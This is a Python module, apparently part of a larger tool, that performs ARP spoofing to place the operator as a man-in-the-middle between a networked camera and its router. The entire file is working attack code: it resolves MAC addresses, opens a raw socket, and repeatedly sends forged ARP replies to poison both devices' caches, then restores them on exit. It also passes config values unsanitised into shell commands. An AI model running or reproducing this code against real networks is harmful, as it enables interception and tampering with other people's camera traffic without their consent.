"""ARP spoofing service — positions us as MITM between camera and router"""

import socket
import struct
import os
import time
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO


def get_mac(ip):
    try:
        out = os.popen(f"ip neigh show {ip}").read()
        for line in out.strip().split("\n"):
            parts = line.split()
            if "lladdr" in parts:
                return parts[parts.index("lladdr") + 1]
    except:
        pass
    return None


def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip):
    src_mac = bytes.fromhex(src_mac_str.replace(":", ""))
    dst_mac = bytes.fromhex(dst_mac_str.replace(":", ""))
    eth = dst_mac + src_mac + b"\x08\x06"
    arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
    arp += src_mac + socket.inet_aton(src_ip)
    arp += dst_mac + socket.inet_aton(dst_ip)
    return eth + arp


def run(cfg, flags, running_check):
    iface = cfg["iface"]
    camera_ip = cfg["camera_ip"]
    router_ip = cfg["router_ip"]

    try:
        with open(f"/sys/class/net/{iface}/address") as f:
            our_mac = f.read().strip()
    except:
        log("ARP: cannot read our MAC", C_ERROR)
        return

    os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1")
    os.system(f"ping -c 1 -W 1 {camera_ip} >/dev/null 2>&1")
    time.sleep(1)

    router_mac = get_mac(router_ip)
    camera_mac = get_mac(camera_ip) or cfg["camera_mac"]

    if not router_mac:
        log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR)
        return

    log(f"ARP: us={our_mac} router={router_mac} camera={camera_mac}", C_SUCCESS)

    try:
        sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
        sock.bind((iface, 0))
    except PermissionError:
        log("ARP: need root for raw sockets", C_ERROR)
        return

    flags["arp"] = True
    pkt_to_cam = build_arp_reply(our_mac, camera_mac, router_ip, camera_ip)
    pkt_to_rtr = build_arp_reply(our_mac, router_mac, camera_ip, router_ip)

    while running_check():
        try:
            sock.send(pkt_to_cam)
            sock.send(pkt_to_rtr)
        except:
            pass
        time.sleep(2)

    # Restore
    log("ARP: restoring...", C_INFO)
    r1 = build_arp_reply(router_mac, camera_mac, router_ip, camera_ip)
    r2 = build_arp_reply(camera_mac, router_mac, camera_ip, router_ip)
    for _ in range(5):
        try:
            sock.send(r1)
            sock.send(r2)
        except:
            pass
        time.sleep(0.3)
    sock.close()
    flags["arp"] = False
    log("ARP: restored", C_INFO)